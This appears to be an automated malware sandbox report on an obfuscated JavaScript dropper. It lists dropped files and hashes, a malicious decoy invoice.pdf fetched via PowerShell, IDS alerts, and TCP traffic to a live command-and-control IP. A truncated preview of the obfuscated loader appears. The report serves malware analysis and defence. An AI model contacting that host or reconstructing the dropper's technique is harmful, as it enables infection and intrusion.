Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a02d8faf-e67f-4cd6-b50a-2aeeb7c228c1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b3a346d2-a1f0-4649-81a2-c0d5c221b3c5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\da762b69-756e-400e-a904-9c882aac8c7a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17134), with CRLF line terminators
Entropy (8bit):	4.902805761903452
TrID:
File name:	2628895762659930884.js
File size:	20'635 bytes
MD5:	3336405bd98a38b5b648a8cf469b02ad
SHA1:	e106906476309138985ce4a1f624cbe0d8cda7d7
SHA256:	857e5ad6a6541d3255f6f2a1bb68e40937c0c8522e6f2aea4a1b67e286ce6117
SHA512:	33322a7b9c7e1bb1f207c2c61a58ff73d87f185661b6fa6fa0e5f33f23e2b0f04bfff31af1ddb80226a2d3552e5faeb60c4c5611239e4250104d4e5fcd3a5925
SSDEEP:	192:COIV1Tg0nZ30119BjcxennqNEwifefU9wyJYFtrzQdr2SPd0CO1iDJLUb/I:C1M0Z0119J5BfefhyJY4bOYDJLUb/I
TLSH:	C4927587450ACCD7D8F56BB89F9A009205D4E2CE5D3C7BCD2A2B88986A8FB3C55D5033
File Content Preview:	function lietrd(){copquqeb=[1031,3079,5127,4103,2055,3072];var uakqywze=this[jookeypgs+befhtt+brubydvm+itsorqpe+efitluw+vqblidb+lhxsiigy+mimug](this[hqodhzqoa+tysmhlkog+aeagtioxd+brubydvm+vupgxuvy+jookeypgs+mimug][dztjuiz+brubydvm+efitluw+befhtt+mimug+efi

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:36:24.081847+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T19:36:26.235441+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:36:23.264352083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:23.269305944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:23.270643950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:23.273884058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:23.278676033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.081696987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.081727982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.081736088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.081846952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.082014084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.082025051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.082030058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.082072973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.082205057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.082433939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.082626104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.082633018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.082679987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.082993031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.083044052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.086652994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.086721897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.086824894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.145077944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.145169973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.145227909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.202429056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.202461004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.202581882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.202718973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.202737093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.202922106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.202975035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.203092098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.203284979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.203298092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.203305960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.203346968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.203723907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.203782082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.203936100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.204071999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.204147100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.204298973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.204324007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.204372883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.204560995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.204572916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.204579115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.204624891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.205097914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.205142021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.205424070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.205430984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.205473900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.205681086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.205688953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.205733061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.277848959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.277894974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.278109074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.306099892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.306282997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.306298018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.306416035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.323430061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.323534966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.323565006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.323573112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.323633909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.323777914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.323932886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.323945045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.323981047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.324275970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.324281931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.324294090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.324301958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.324331999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.324764013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.324773073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.324784994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.324825048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.325077057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.325094938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.325139999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.325386047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.325392008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.325404882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.325445890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.325745106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.325790882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.325880051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326042891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326049089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326062918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326095104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.326118946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.326411963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326417923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326430082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326467037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.326935053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.326975107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.327004910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327016115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327048063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327054977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327055931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.327091932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.327528954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327534914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327578068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.327830076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327836990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327848911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.327884912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.328200102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.328212023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.328253031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.364622116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.364641905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.364646912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.364676952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.364702940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.364754915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.364762068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.364808083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.392918110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.392925024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.393017054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.427407980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.427473068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.427479029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.427536011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.427634001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.427644014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.427680969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.447249889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447264910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447280884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447292089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447295904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447448969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447457075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447463036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447468996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447474003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.447474003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.447480917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447500944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.447520971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.447748899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447803974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.447854042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447861910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.447900057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.448023081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448030949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448038101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448045015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448090076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.448365927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448368073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448374033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448380947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448386908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448412895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.448431015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.448620081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448663950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.448692083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448699951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448744059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.448849916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448860884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448863983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448872089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.448903084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.448920012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.449162006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.449168921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.449176073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.449183941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.449210882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.449238062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.450530052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.450587988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.450594902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.450644016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:36:24.450762033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.450769901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.450781107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:36:24.450788021 CET	80	49730	193.143.1.205	192.168.2.4
